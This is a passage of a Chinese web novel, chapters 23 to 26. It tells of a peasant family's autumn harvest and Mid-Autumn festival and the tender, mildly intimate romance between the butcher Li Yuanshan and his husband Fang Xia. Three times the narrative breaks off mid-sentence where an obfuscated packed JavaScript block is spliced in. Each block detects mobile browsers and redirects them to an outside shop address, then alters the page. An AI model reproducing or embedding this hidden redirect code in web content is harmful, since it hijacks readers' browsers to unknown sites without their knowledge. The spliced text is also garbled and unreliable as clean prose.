为了不脏枕头,方夏用布巾将头发包起来,换了干净的里衣便躺下了,身边的李远山也没再多说话,累了一天眼皮都在打架,早早歇了养足精神明日好继续干活。 23. 秋收2 场院里,李远山赶着牛正拉着石碾子碾谷子,之所以不用连枷,是因为谷子颗粒小,连枷不容易敲打下来,反而石碾子才能将熟透的谷粒碾压下来。 家里这头小牛皮实听话,即便拉着沉重的石碾子绕圈圈也不顶人,一家人看着欣喜,都道这是头好牛,训上一季以后用起来就顺溜了。 “今日忙完,明日过节咱们歇上一天。”李老爹发话。 一家人都高兴地说好,前前后后忙了这十来日,他们家地里的黍子和莜麦也都收回来了。 今日将谷子碾好装起来,就只剩地里的秸秆没收,这些不着急,累了这么些天也不赶这一天两天的,明日就是中秋,正好一家人热闹热闹。 今年年景好,丰收的喜悦挂在每个人的脸上。 周秀娘心里默默盘算着,除去留足家里的口粮和纳粮的斤两,还能余下不少粮食,多余的粮食拿去卖钱再换些白面大米吃,这日子是越来越好了。 方夏心里也很高兴,丰收就意味着能吃饱饭,秋收这几日的辛苦算什么,再苦再累也比饿肚子强。 碾完最后一遍,将谷穗耙到一边,底下显露出一层谷粒,这些谷子还不能直接装,需得用簸箕扬一遍才行。 一家人铲谷子的铲谷子,扬场的扬场,撑口袋的撑口袋,一时间场院里热火朝天,甚至连院子里进来人都没察觉。 直到吴大牛高高喊了声“远山哥”,众人才回头看见院子里站着的两人。 “哎吆吆,是大牛和满哥儿啊!”周秀娘先笑出声,“忙的都没见你俩咋进来的。” “婶子说笑了,我俩走进来的呗!”柳满也笑着回。 李远山放下手里的铁锹,跟着道:“地里都收完了?今年收成不赖吧!” “收差不多了,今年年景好,黍子尤其收的多,我爹高兴的什么似的,说明年要再多种些黍子呢。”吴大牛将手上的布口袋放在院子外窗台上,接着说,“这不院子里的枣子红了些,摘一兜子给你们送点吃。” 吴大牛他们家院子里有两颗枣树,每年到了收获的季节,打下来的枣子能拿去卖钱,多少也算家里的一笔进项。 不过他们两家处的好,回回吴大牛都不忘给李远山他们送些吃。 那边李远山早就从布口袋摸出两个大枣,在自己袖口上擦了擦递给了方夏。 枣子红红的,两头尖尖的,吃起来脆甜脆甜,方夏嚼着枣子眯起眼睛。 见方夏觉得好吃,柳满便也凑过来问:“枣子甜吧?是不是要比上回的酸溜溜果甜?” 方夏点点头,吐出嘴里的枣子核:“是挺甜的,还很脆呢。” “过几日家里打枣子,你来,我多给你装些吃,吃不了就晒成干的,熬粥也成。” 方夏看了李远山一眼,见人微弯起嘴角点点头,便高兴地开口道:“好啊!” 知道自家夫郎爱吃甜的,李远山便同身旁站着的吴大牛说:“明年春天到你家移栽一株吧,我们院里也种棵枣树。” 他们家房子还是两年前新盖的,为了给他寻摸亲事,家里院子里里外外都翻新一遍,原先的土坯窑洞也推倒重新盖成了青砖瓦房。 “多大点事儿,我给你留意着,定给你挑一株最壮实好活的。”吴大牛应了一声,又扭头对着李家父母接着道,“李叔、周婶,你们明日不去地里吧?我想借你家的牛车拉一天秸秆。” “行!明日让老大给你牵过去!”李老爹爽快地开口。 村里养牛的人家不多,他们家也是去年才买的,秋收时多是靠家里人肩抗或是推着板车拉,但拉秸秆就不一样了,秸秆虽不沉,却不好捆扎,不如借上牛车或是驴车,一次多拉些,早早拉完省事。 不过借牲口这事,也看两家交情,不是谁来都愿意借的,庄户人家里的牲畜是最贵重的,种地劳作都离不开。 “明日就是中秋,你们不歇歇?”李远山问道。 吴大牛帮着撑开口袋,让李远山好往进倒谷子:“不歇了,一气儿都收回来省心,我想着地里活儿都干完,趁着天儿还没上冻,去镇上看看找个零工,还能挣些铜板。” “是这么个理儿。” 吴大牛没什么手艺,不像李家会杀猪,好在他勤快肯干,农闲时不是去镇上找散工干就是去地主家做短工,一年里也能给家里贴补不少银钱,村里人就是这样,只要不是好吃懒做的,总能想办法挣钱过好日子。 “对了,明日杀猪吧?给我留五斤排骨啊!”吴大牛又说,有些促狭地拍着李远山的肩。 “行!”李远山笑着扒拉开他的手,“明日一并给你送过去。” 送走吴大牛两人,一家人接着忙碌着,今日把谷子都收拾好存进东边的耳房,晚上都能好好洗洗。 他家收回来的粮食多,耳房放不下,幸好最东边挨着耳房还有一间空屋,李云山和李晓山没到成家的时候,兄弟俩睡在父母正屋旁的屋里。 吃过晌午饭,李远山同李云山推着板车去收毛猪了,明日就是中秋,大过节的人人家里都要割上三五斤肉,再说今年是丰年,赶着这个时候更是要吃些好的。 因此兄弟俩商议今日就拉两头猪回来杀,如今天气凉了,若是卖不完,第二日也坏不了。 这十来日忙着收秋,谁也顾不上收拾,一家人都是灰扑扑的,连带着院子里都是土灰。 一下午功夫,方夏将家中里里外外该擦洗的都擦洗一番,这几日的脏衣服也洗出来晾好。 原本他只需洗自己和李远山两个人的就行,但见家里几个小的忙着出门打草扫洒院子,便将他们的衣服一并收着洗了。一家人住一起,也不必分得太清楚,谁有功夫便多做点活儿。 傍晚时候,李远山回来吃过晚饭便进灶房烧水去了,方才他已从耳房将洗澡的浴桶搬到屋里。 方夏正蹲在炕沿下的炕洞口那往里添高粱穗子。 脱粒的高粱穗既能用来刷锅也能用来做小扫帚,还能用来烧坑。齐整一些的高粱杆可以编成盖帘,用来晾晒些东西最好用。 天气渐渐冷了,晚上要洗澡,将炕烧开了屋里有些热乎气儿,也不至于一会儿从水里出来冷得打哆嗦。 多日不曾好好洗澡,夫夫两人互相擦背,轮换着泡进浴桶里好好搓洗一番,两人身上都搓出来不少泥灰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292679|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗完澡顿时身上都舒服不少。 他们两人成亲这些日子,该做的都已做了,也没什么好避嫌的,虽说有些不好意思,可后背自己够不着的地方,确实得好好搓一搓才行。 方夏坐在炕上围着被子擦头发,依旧是李远山去收拾倒水。夜里寒凉,幸亏今日烧了炕,屋里不冷。 李远山回来接过方夏手里的布巾,帮着他把头发擦干,双儿头发要比汉子长不少,洗完不容易干,要多擦擦才行,若是湿着头发睡觉容易落毛病。 方才李远山出去放完浴桶便蹲在在灶房的灶膛口烤火干头发,家里其他人还要烧水盥洗,李远山等头发干了便早早回屋里来。 “过几日等地里秸秆都拉回来,腾出时间去镇上买些新棉花,你做身厚棉衣穿。”李远山钻进被窝,将夫郎有些冰凉的手脚拢在怀里捂着。 “嗯。” 方夏在李远山怀里安安静静的,凑近了还能闻到皂角的清香,李远山又忍不住道:“这几日没挣什么钱,不过地里都忙完了,趁着过节,天天能杀猪卖肉,不似以前天热时两三天才杀一头,再过些日子我也去揽些劁猪的生意,定能赚不少钱。” 玉河村这一带不止他们李家一家杀猪的,隔着两个村子还有一户姓郑的杀猪匠,人称“郑屠子”。 只是这郑屠子是个三十多岁的光棍懒汉,杀猪的营生都是三天打鱼两天晒网的干,平日里有钱就去镇上吃喝,没钱了才动手杀一头猪来卖,这人除了杀猪卖肉之外还做劁猪生意,附近这些村子,谁家小猪长到满月便要请郑屠子去劁猪。 其实这一片劁猪手艺一绝还要数李远山他爹——李达,当年“老李屠夫”的名号方圆百里也是无人不知,无人不晓。 奈何后来李达年岁渐长,再加上年轻时行军打仗落下的病根,便不再走街串巷去揽劁猪的生意。 而李远山因为面皮的缘故,就只在家门口做杀猪的买卖,哪怕出村卖猪肉也不会走太远,都是相熟的人来买的多,因此劁猪这门生意便落到郑屠子手上。 不过这做生意,也没固定这买卖就必须是谁的,端看谁先揽上手就是谁挣钱,想着想着,李远山将怀里的夫郎搂得更紧了。 这些日子忙,两人已有将近半月不曾亲热,今日温软的夫郎在自己怀里依偎着,李远山忍不住凑到人脸上去亲,亲着亲着就安奈不住吻上了人的嘴。 两个人亲的磕磕绊绊,甚至有时候还能磕到牙齿咬了嘴唇。 方夏被亲得差点背过气去,直拿手推李远山,急促的呼吸声被圈在被窝里这一方小小的天地里,在深秋的寒夜里,显得格外缱绻。 “怎地了?”李远山喘着粗气问。 方夏大口呼吸着小声说着:“我喘不过气。” 虽说屋里没有点灯,可李远山也能感觉到自家夫郎红透了的脸颊,定是比秋日里太阳落山时的晚霞都好看。 他喉咙里发出一声低沉而短促的笑,再压下来寻着方夏的耳朵和脖子亲。 两个人没再说话,被子里时不时却泻出一两声不知道是痛还是别的什么声音,长夜漫漫,直到圆月向西边坠去,才渐渐止了声息。 24. 中秋节 白玉一轮尤皎洁,始知今夜是中秋。 庄户人家一年到头也没几个大节,最热闹的无非就是中秋和过年。 对于李家来说,今年这个中秋自是与众不同的,丰收不说,李远山的亲事成了,李达夫妻俩压在心头的大石头就落地了。 一家人热热闹闹在一起,即便是粗茶淡饭也是最舒心的。 一大早,家里人都起来忙碌,今日要杀两头猪,人人都有活干,不然忙不过来,连李青梅都被安排了烧水的活计。 汉子们齐齐上阵抬猪分肉,周秀娘领着方夏收拾清洗猪下水,这些日子跟着边看边学,“翻肠倒肚”这些活方夏早就能上手了。 他本就不是什么娇贵的双儿,脏污也不嫌弃,将两头猪的肠子和肚子都收拾好,那边也将杀好的猪肉抬了上案板。 不一会儿功夫,陆陆续续来了几波人来买肉,周秀娘喊着让李远山给家里留个肘子便回院里灶房去了,她还要趁早将猪头和心肝肺卤出来,这些卤肉熟食今日也抢手呢。 卖猪肉的摊子自有李远山照应,其他人不用操心,因李达要领着小儿子李晓山去赶车磨面,李云山也忙着在院里杀鸡,方夏便来给李远山打下手。 他第一次干这个,不甚熟悉,便只跟着李远山收钱,来割肉的都是村里的妇人夫郎,他也小小声跟着叫“婶子”或是“阿嬷”。 方夏嫁过来后鲜少出门,村里人好奇小李屠户娶了个什么模样的夫郎,一听说今日出摊方夏跟着,便纷纷结伴过来割肉,正好过节要吃,家里日子过得再紧巴也要割上一斤两斤肉沾沾荤腥,顺便也瞧瞧这李癞脸娶了什么样儿的夫郎。 人虽然多,但李远山依旧有条不紊地割肉算账。 他对着人时不常笑,割肉时目不斜视从来没有多余的表情,让人感觉冷硬板正。 可今日来割肉的人都要同他说一句“好小子,娶了这么俊俏的小夫郎”,甚至有泼辣的妇人直接走到场院里仔细端详完方夏后再夸赞一番,让李远山忍不住脸上都带着浅浅的笑意。 方夏被这许多人来来往往看得有些不自在,可他也知道大多数人并无恶意,再说他们家就是做卖猪肉营生的,人多了猪肉才能卖出去,才能挣钱,总不能不做生意不让人看。 看着钱袋子里鼓鼓囊囊的铜板,方夏脸红红的,抬起亮晶晶的眼眸去看李远山,脸上是再明显不过的欣喜和崇拜。 夫郎这样看着自己,李远山眼里的高兴都快溢出来了,他裂开嘴笑着说:“今日卖得快,一会儿咱们就能歇了。” “嗯!” 送走最后一个来买肉的妇人,两人将猪肉摊子收拾利索,便提着沉甸甸的钱袋子回家了。今日没少卖,除去家里留的肘子和给吴大牛的排骨,两头猪卖的一点儿不剩。 算算账,今日就能挣四百一十文钱,将买毛猪的本钱另放起来,他们能分得两百零五文钱。 如今猪肉摊子归李远山和李云山兄弟俩,买毛猪的本钱都是由他们爹娘出,挣了钱兄弟俩平分,而李云山还没成家,他的一份便给周秀娘收着攒老婆本儿,李远山没成亲前也是这样。 将他们挣的二百零五文钱收进钱匣子里,李远山合计着,秋收前几日加上今天的,又凑够一千文了,这样他们手里就有三两碎银子并两吊钱。 今日过节,一家人早上就商议好晚上吃顿莜面饺子,他们家好久都没吃莜面饺子了,正好尝尝新下来的莜面味道。 未时一过,一家人就开始忙开了,灶房里两口锅都没闲着,周秀娘在那边做酱肘子,方夏在这边预备做饺子的馅料。 灶台上已经泡好了地皮菜和干木耳,正经吃莜面饺子要吃羊肉臊子的最好吃,但村里没有杀羊的,不过他们家有猪肉,就不必麻烦另去镇上买。 锅里放一块雪白的猪油,待油热下切的碎碎的猪肉丁,炒到变色后将预备好的地皮菜、木耳、金针菜放进去炒。 方夏看炒的差不多了便将锅里的馅料铲出来,油香的馅料放在一个陶盆里,他又把切好的菘菜倒进去搅拌,估摸着份量放了酱油、盐和香油。 看锅里的水烧开了,方夏挽起袖子预备和面。 莜面端上餐桌要经历“三生三熟”,收割回来的莜麦脱粒后要立刻下锅炒熟,防着莜麦受潮发霉,这样生莜麦就变成了熟莜麦,等要吃的时候将熟莜麦碾磨成莜面粉,由熟又变成了生的,待做莜面时候,需要热滚滚的沸水冲烫和面,生面再次变熟,和好的莜面还要上锅蒸,蒸前是生面,蒸好后又变成熟面,如此经历“三生三熟”后才能吃。 莜面和不好,上锅蒸时容易裂开,方夏用葫芦瓢舀着滚烫的开水一点点往盆里倒。 他阿奶小时候教过他,若是怕莜面干巴开裂就在和面时候加一点淀粉进去,他一直记得。 用筷子将莜面搅合成絮状,就能上手揉面了,家里人多,就得多预备些面,方夏分了两次才将莜面揉成面团放好。 李青梅蹲在灶膛口那烧火,见方夏开始包饺子了,便吵着也要包。 “包吧,反正都是自家人吃,无所谓好看不好看。”周秀娘在一旁道,“灶上的活儿也要慢慢学起来,别以后嫁了人说家里没教好。” 李青梅得了首肯,高兴地凑到方夏跟前说:“夏哥哥,你教我包莜面饺子吧!” 方夏点点头,开始拿起擀面杖擀皮,莜面饺子大,但需要擀一个皮就立马包一个饺子,不然莜面剂子放的时间久了就会干裂。 湿笼布下的剂子不一会儿功夫就包完了,蒸笼上摆得整整齐齐,间或有一两个歪歪扭扭的饺子则是出自李青梅之手,乐得周秀娘直拍手。 李远山吃过晌午饭就去帮隔壁吴大牛拉秸秆了,吴大牛家里人少,壮劳力就他一个,他前面还有两个姐姐,也都嫁到外村去了,平时甚少回来。 而李老爹则领着两个小儿子上山砍柴去了,快到冬天了,家里做饭烧坑都要用柴,趁着有功夫就要多囤一些,就是碰见大雪封山家里也不至于没柴火烧。 圆月伴着归人升起来,西边的天上还残留着一抹青黛色的霞光,灶房里饭菜已经备好,不过还不能先吃,要先供月亮。 指使着李远山和李云山将堂屋的八仙桌搬到院子里,周秀娘就让他们到一边去了,供月亮讲究要家中妇人或是夫郎来操持,有“男不拜月”的说法。 待桌子摆好,周秀娘领着方夏和李青梅将祭拜的物品端出来。 桌子正中间是一个大大的团圆饼,四周放着些果子,有几个买回来的鸭梨和海棠果,还有上山摘的野葡萄和树莓,甚至还摆了三个石榴,这还是上午周秀娘她三哥让儿子给送过来的,周兴盛的主家在镇上门路广,能得些稀罕玩意儿,他们也跟着沾光。 周秀娘领着家里人,对着月亮拜了拜,心里默念着家人平安,有钱有粮。 念完了又悄悄看一眼身后方夏的肚子,若是来年能抱上一个大胖孙子,就更好了! 乡下人家没什么太多的讲究,若是城里的地主大户,还要沐浴焚香呢。 拜完了月亮,也该开饭了,今日饭菜丰盛,李晓山和李青梅两个小的早就忍不住了,一听他娘喊开饭,便猴急地往屋里炕上坐。 晚饭要在炕桌上吃,一家人都脱了鞋盘腿坐上炕。 桌子正中间是一大盆酱肘子,旁边摆着炖的软烂的鸡肉和蒜苗炒猪肝,另外一边则是清炒菘菜和凉拌豆腐皮。 李老爹拿了一坛酒上来,对着李远山道:“老大,来!今日陪爹喝一杯。” 李远山应好,又去找了酒杯过来,中间李云山也说要喝,周秀娘便让多拿几个杯子,他们凑趣也尝一口。 平常李远山是不喝酒的,家里人也少有饮酒,只偶尔过节或是同几个相熟的兄弟朋友一块,才喝上几杯酒。 这么些年来,偶有饮酒也没喝醉过,他们家管的严,李老爹还带着从前行伍里的习惯,吃喝嫖赌样样不许沾染,若是有这个苗头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292680|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁可打死也要掰过来。 幸而他们家几个孩子都品行端正,无需父母操心。 热气腾腾的莜面饺子端上来,香味扑鼻而来,引得众人馋虫都上来了。 莜面饺子不似白面雪白光滑,而是表面有些粗粝的黄褐色,饺子个大馅足,咬一口极有嚼劲,若是喜欢醋的也可以蘸着醋吃。 方夏吃了三个饺子就差不多了,再加上桌上那么多菜,吃得他浑身都是热气。 李远山怕方夏吃得慢,抢不过几个弟弟,连着给他碗里夹了好几筷子肥瘦相间的肘子肉。 周秀娘炖出来的酱肘子软烂鲜香,颜色也红艳艳的喜人,方夏吃着香极了。 李远山他们这几个吃得更多,汉子们本就饭量大,拳头大的莜面饺子一人就吃了足足五个,李晓山吃完一边打饱嗝一边说:“夏哥哥手艺就是好!” 一家人一起哄笑起来,周秀娘隔着丈夫拍一下小儿子:“这会儿就吃撑了?一会儿还要切团圆饼呢!” 酒足饭饱,方夏便起来收拾,李老爹和李远山还要再喝几杯,今日高兴且都是自家人,没必要太拘着,他便只将不用的碗筷先拿去洗,天气有些冷了,若是不及时洗,油污凝住了就很难刷。 院子里,早前供着的果子都收进屋里去了,周秀娘正趁着月光切团圆饼。 他们家七口人,便要切成七份,她下刀极准,不偏不倚每一份大小刚刚好。 切好的团圆饼端进屋里,周秀娘给一人分了一份让吃,李青梅拿着月饼揉着肚子直喊吃不下了。 周秀娘道:“谁让你都吃完呢?吃一口意思意思,团团圆圆嘛!” 方夏依言咬了一口团圆饼,虽然放了好几天,可饼子的味道仍然香甜可口。 他从前没过过这么热闹的中秋节,也没吃过这么好吃的团圆饼,肚子涨得满满的,但心里比肚子还涨,盛满了快要溢出来的甜蜜。 李老爹和李远山喝完酒,剩下的盘碗周秀娘不用方夏洗,自己就拿去收拾了。 月上中天,方夏盥洗完就去扫炕铺被褥了,方才李远山不少喝酒,想来一会儿要头晕,自己赶紧收拾完,李远山进来就能直接歇着了。 屋门吱呀一声响,李远山端着洗脚盆进来了:“小夏,来泡脚。” 见李远山眼神比平日里还黑亮,身上也带着一股若有似无得酒香气,便道:“我洗过了,你洗。” 李远山不答,径直端着洗脚盆坐在炕沿边,一手脱鞋袜,一手揽过方夏细瘦的腰肢,凑到人耳边说:“再泡泡,水热着呢,泡泡暖和。” 方夏任由他揽着自己的腰没动,抬头看一眼汉子泛红的脸,他只当是李远山喝多了酒有些醉意,却不知道汉子心里藏着不可告人的心思。 洗脚盆里,一双粗糙的大脚上垫着一双白皙柔嫩的脚,两人谁都没再说话。 屋子里只有洗脚盆里水流晃动的声音,忽地一双大手穿过水面按在了方夏的脚上,低沉好听的声音在耳边响起:“我给你搓搓脚。” 汉子给夫郎搓脚! 方夏整个人都愣住了,在他有限的认知了,这是从来没有过的事,别说没见过,听也没听过。 他自小爹没得早,娘又是那个德行,也没人教他要怎么应对这些,只能僵坐着,任由李远山粗糙的大拇指一点一点搓过脚背,又去搓脚面。 李远山捧着方夏白嫩的脚细细搓着,心里百转千回,虽说平常他日日都要帮方夏暖脚,早就摸过许多回了,可这样同夫郎一起洗脚搓脚还是头一遭。 他知道自己力气大,便收着劲儿,一手捧着人的脚,一手细细搓洗,从大拇指到小指一个都没漏,甚至连脚趾缝都不放过。 夫郎细腻的脚在他手里渐渐变得温热,李远山胸膛里一股热意直冲脑门,连带着酒意让他整个人热得好似要冒烟,甚至呼吸时都带着滚烫的气息,一颗心在腔子里怦怦跳,让他忍不住冲口而出: “方夏,我稀罕你。” 25. 醉话 李远山去倒水了,方夏一个人躺在被窝里呆呆的。 他是一个乡下双儿,嫁人了就本本分分、老老实实过日子,那些话本里的情啊爱啊他不懂。 可方才李远山的惊人之语还在耳边一遍遍回荡“我稀罕你、我稀罕你、我稀罕你……” 方夏捂住红透的脸颊,在被窝里将自己蜷缩成一团,脚尖还残留着李远山给他擦脚时的触感,怎么能这样呢? 他翻个身,想把脑子里的东西抛出去,自己刚刚真的是鬼迷心窍了,明明已经盥洗过了,怎么人家汉子让再泡泡脚就真的泡进去了呢? 他脑子里好似一团浆糊怎么也理不清,甚至连李远山上炕的动静都没发觉,直到身旁的汉子将他掰过去才反应过来,方夏更害羞了,一句话不说只将脑袋埋到被子里。 “快出来,小心一会儿又喘不上气。”李远山将人挖出来,又顺手掖了掖被角。 这会儿缓过劲来,李远山也察觉自己刚才属实太过孟浪,可转念又一想,自己稀罕自己的夫郎有什么不对?又不是喜欢别的什么人,对着自家夫郎没什么可藏着掖着的。 想通这一节,他又对着怀里的人说:“小夏,我是真的稀罕你呢。” 说着又将方夏搂得更紧了,大手还一下一下轻抚着人的后背:“从前不懂,这些日子同你在一处,每天都过得有奔头,知道你不害怕我,我心里更是喜得不得了。小夏,我没别的本事,但杀猪种地,定能养活得了你的。” 李远山虽然同自家夫郎要比旁的人话多些,可头一次对着一个人表心意,让他有些窘迫。 方夏不自觉抬起眼,看着头顶上方紧紧搂着自己的汉子,屋里油灯早就灭了,只有一层月光朦朦胧胧照在李远山轮廓分明的脸上,隐隐能看出来还泛着红。 方夏只当他喝多了说醉话,也庆幸自家汉子不像村里其他喝了酒便胡闹,捱过那阵羞耻后又忍不住想问问人,是不是喝多了才说这些话? “你是喝多了……在说醉话吗?”方夏小心翼翼地问。 满怀着一腔爱意却被误以为是醉酒,让李远山一下有些羞恼,想他一个二十多岁的汉子竟被夫郎认为是喝多了酒说胡话,他一个翻身将方夏压在身下,寻着人的嘴巴用力咬了一口,道: “我没醉!” 方夏被咬的嘶了一声,虽然有些痛,却也知道对方没真的下狠劲,不然嘴唇早就破了,只好顺着人说:“好,好,你没醉,没醉。” “就是没醉!”李远山蹭了蹭方夏的脸说,“你不信?” 呼吸交缠间方夏闻着李远山身上的酒香觉得自己都要醉了,他迷蒙地想,怎么跟个孩子似的耍赖呢? 谁家汉子证明自己没喝醉是用这样的法子?不过他也来不及想太多,没多久就被拉入沉浮的旋涡中。 ------------------------------------- 翌日清晨,还在睡梦中的方夏被长手长脚的人缠醒,刚迷迷瞪瞪睁开眼睛便看见李远山正支起胳膊看他,露在被窝外的胳膊上还有几道红红的指甲痕。 他心里多少有些忌惮,夫郎抓伤了汉子,说出去大概是没人信的,可想起昨夜的场景,方夏脑海里都是让人脸红心跳的画面,忍不住又理直气壮起来,谁让李远山那么疯,看着自己身上或青或紫的痕迹,简直能要人半条命! “醒了啊?”李远山带着一点笑意问。 “嗯。” 李远山却不着急起床,大掌轻轻按摩着身侧人的腰部,又说:“再躺一会儿吧。” 今日不用杀猪卖肉,地里活儿都干得差不多了,难得有一天不用早起,可以搂着夫郎赖一会儿床,李远山很满意。 方夏也没着急起身,地里劳累了这么久能歇歇是应该的,谁也不是铁打的,可就这么面对面躺着让他有些不好意思,便翻了个身,面朝着墙那边去了。 身后立刻就贴过来一片火热的胸膛,李远山略带沙哑的声音就在耳畔:“小夏,我这会儿醒着呢。” “嗯。”方夏闷闷出声,他感觉到了。 腰间的手臂又紧了紧,说出口的话语也带着一丝不易察觉的颤抖:“我稀罕你。” “昨日我没醉,是清醒着的。”停顿了一下,李远山接着道,“现在,也是清醒着的。” 接连两句话将方夏彻底砸懵了。 没人教过他要怎么面对这既陌生又热烈的情绪,他也不晓得要如何应对这些,身后太过炙热的气息让他想掰开腰间的手逃离,可温暖的怀抱又让他无比依赖,想一直这么蜷缩着靠着。 见方夏一直没说话,李远山也没气馁,这些羞人的话汉子来说就好了,双儿面皮薄些不打紧,总有一天他能从方夏口中听到自己想听的话。 两人在被窝里又躺了一刻钟,听见正屋开门的声音,便知爹娘都起来了,谁也没耽搁匆匆坐起来收拾穿衣。 吃过早饭,一家人就忙开了,虽说没前几日那么疲累,但该干的活也不少,屋里要洒扫,家里的牲畜都要喂,院里种完菜的地要压平,等来年春天再接着种。 夏季时的生机勃勃到了秋季就会逐渐凋零、衰败,一年四季循环往复,看似没什么变化,却在细微之处显现了玄机,譬如这个小院,忙碌的身影中就多了方夏。 庄户人家少有闲着的时候,也从来不会想这么复杂,面朝黄土背朝天的人们,只要能填饱肚子活下去,就是最大的祈盼了。 方夏正蹲在灶房门口洗地葫芦,这半麻袋地葫芦还是昨日李远山的二舅打发儿子送过来的,知道他们家不种这个,便给背了半麻袋过来。 他们乡下人家也不讲究节礼,只有过年时才隆重一点,平时都是种了什么或是得了稀罕的东西给亲戚送一些。 地葫芦腌着吃最好,口感脆嫩,储存时间也久,每年秋天家家户户都要腌上一坛子,脆脆爽爽的能吃一个冬天。 这种菜因为长得像葫芦,但却是长在地下的根茎,所以此地人们常叫它“地葫芦”,老人常言“冬天吃一根,腿脚站稳跟。”。 只是这地葫芦虽好吃,唯一的麻烦是不好洗,个头小不说,螺旋状的缝隙里也常都是泥土,方夏只好拿小刷子仔细清理,吃到嘴里的东西,还是干净些好。 李远山走过来给他坐着的小板凳上塞了个垫子,有些顾左右而言他:“板凳凉,不如坐垫子上。” 方夏一下子明白了对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292681|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思,脸不由得红了,他没言语,只匆匆低下头搓洗陶盆里的地葫芦。 “后院的猪我都喂了,鸡鸭鹅这些有娘去喂,小妹去捡拾鸡蛋鸭蛋,你不需操心……”李远山没话找话,蹲在陶盆前预备伸手同夫郎一起洗。 方夏抬起头有些困惑地问:“你不用去碾院子了?” 李远山悻悻地收回手,下意识地摸了摸鼻子,开口道:“那什么……这就去,这就去。” 他原本没多想,只是看见方夏就不由自主贴过去,想同自家夫郎待在一处,不成想闹了个大红脸,幸好他脸皮厚,应该看不出来。 李远山站起来拍了拍身上没多少灰尘的衣服,招呼两个弟弟一起收拾平整院子去了。 到了秋天院里菜地的菜差不多都下架了,滋养了一年瓜果蔬菜的土地要翻一翻,休养生息,还要用石碾子压得平整又瓷实,这样等冬天雪融化了就不至于满院子都是泥水,看着也干净,等来年春天育秧种菜再开垦。 家里汉子多,都是有一把子力气的,就连十二岁的李晓山也能独自推着石头碾子转好几圈。 李老爹哈哈笑着拍小儿子的脑袋,说不白吃这几碗饭,一时间院子里笑闹声不断,在秋日的暖阳里传出很远。 这边方夏刚把半麻袋地葫芦刷洗干净,那边院子也平整好了,只留了两块前几日种的菘菜和萝卜没动。 地葫芦不能直接腌,需得晾晒三四个时辰才行,等晾好后拿调好的料汁一泡,放在坛子里密封上就行。地葫芦口感脆嫩,他便想做一个糖醋口味的,酸甜口也好下饭。 周秀娘抱着一个圆肚样式的土陶坛子从耳房转出来,身后跟着挎着篮子的李青梅。 离得近的李云山快步过去要接他娘手里的坛子,被周秀娘嗔怪一眼避开了:“你娘我啊,还没到老的搬不动的时候呢!” 李云山讪讪笑着挠了挠头,这两个月他又窜个子了,十六岁的少年虽没他大哥长得壮实,却也快同李远山一般高了,笑起来也是玉河村数一数二英俊的小后生。 周秀娘将今日收来的鸡蛋鸭蛋放进灶房的大篮子里,数清个数后开口道:“天气凉了,鸡鸭生的蛋也慢慢少了,攒下来的这些不如腌成咸蛋,省的到冬天没个别样吃食。” “远山,你几时预备去镇上?”周秀娘又问,天气渐渐寒凉,他们都得为过冬做准备了。 李远山边洗手边回:“就这几日吧,想着把地里秸秆拉回来就去。” 天气渐渐冷了,方夏还没有新的棉衣穿,李远山一直惦记着。 “趁早去,我看咱们家窗户上麻纸该换了。”周秀娘冲着儿子招招手,“买些厚实的麻纸回来糊窗,趁着这几日天儿好,咱们赶紧糊上。” “那我明日便去。”李远山甩甩手上的水珠走过去。 “再去买几个样式好看的窗花,娘这手笨,剪不来这精细东西,你看着买些喜庆的咱们贴。”周秀娘笑眯眯看着儿子,怕别人听见似的压低声音说:“买那种带小娃娃样子的啊,记住没?” 李远山脸色不变,听周秀娘安排,将需要采买的东西一一记下。 时间走得不快也不慢,一家人各自忙碌着一天的时间也就过去了。 26. 鹰踏兔 天刚微微亮,李远山和方夏就出门了,今日他俩不仅要去镇上采买东西,还要赶早集去将家里这半年积攒下来的猪毛卖了,收猪毛的货郎只在大集上才出来,平日里是很少见的。 李远山背上的大竹筐放着两袋子猪毛,一大袋子杂毛,另外还有一小兜子猪鬃毛。 猪鬃毛价格稍微贵些,每次杀猪褪毛时他都会将这些分开收拾,好方便卖钱,猪毛虽不值钱,可积攒多了也是一笔小收入,贴补家用正好。 原本方夏要帮着分一兜子背,李远山没让,只在他背后的筐子里将昨日他们串好的两吊钱放好,又拿布巾盖了,说让他看着钱就好。 方夏得了这个差事,一路上走得小心翼翼,时不时还要伸手向后边摸摸,生怕半路上把钱给丢了。 他们还有零散的两百三十文钱,李远山收起来装在自己这边的背篓的大钱袋里,预备一会儿花用。 